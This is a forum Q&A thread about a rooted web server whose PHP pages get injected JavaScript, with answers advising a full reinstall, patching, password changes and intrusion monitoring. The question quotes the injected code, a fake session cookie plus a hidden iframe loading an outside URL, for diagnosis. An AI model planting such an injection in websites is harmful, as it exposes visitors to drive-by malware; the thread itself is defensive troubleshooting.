Question: UPDATE: The server was rooted, php.ini was replaced that cause the injection to appear. Still haven't figured out which directive is injecting the javascript.

I'm troubleshooting a hacked website where a javascript is injected in every PHP file and only PHP. The injection only show up in IE also. I have experience with injection before but most of them were injected through FTP, and you can see them in the page itself. I'm not seeing any virus or malicious process on the server so far, and beginning to think either the PHP interpreter or Apache was hacked somehow. Has anyone seen this before or know where I should look? The injection is below,

```
<script type="text/javascript">
        d=new Date();
        d.setDate(d.getDate()+1);
        document.cookie="PHPSESS1D=1; path=/; expires=" + d.toGMTString();
      </script><style type="text/css">#yavvw {width: 10px;height: 10px;frameborder: no;visibility: hidden;scrolling: no;}</style><iframe id="yavvw" src="http://SANITISEDURL.net/ad.jpg?2"></iframe>

```

This happens to all website on the server, even with PHP file that only has a simple echo. .htaccess looks clean for all of them. 
Server running PHP 5.2.17 and Apache 2.2.17.

Answer: 
Based on your comment to @esskar's answer, it would appear that your server has been rooted and the php binary has been replaced.

Since you have no idea what else may have been replaced, I would reinstall from scratch. Unfortunately you'll have to be suspicious of data files coming off your backups unless you know exactly when the hack occurred. (And I suspect you don't, since you don't know exactly what the hack is/was.)

My biggest problem with the "reinstall from scratch" approach is that you're likely to have the exact same vulnerability that allowed this attack to be successful. To keep this from happening:

* Change all passwords for all services.
* Make sure all patches for all packages are installed.
* Shut down services that are not in use.
* If practical, partition services onto multiple servers -- place services that might be at higher risk on a separate server.
* Set up monitoring (IDS) and keep up with maintenance on it so that you have a chance of knowing what happened if another attack occurs.
It may not be a good use of your time to try to work out exactly how the malicious stuff on your site works. It's hard to be confident you've found it all.

Instead, the standard advice is to reformat and re-install from trusted backups that date back before the intrusion. There is a lot more to be said about this. Rather than repeating what others have written, I will direct you to the question ["what to do after suspected intrusion on hobby webserver"](https://security.stackexchange.com/q/2939/971), which covers this topic pretty well.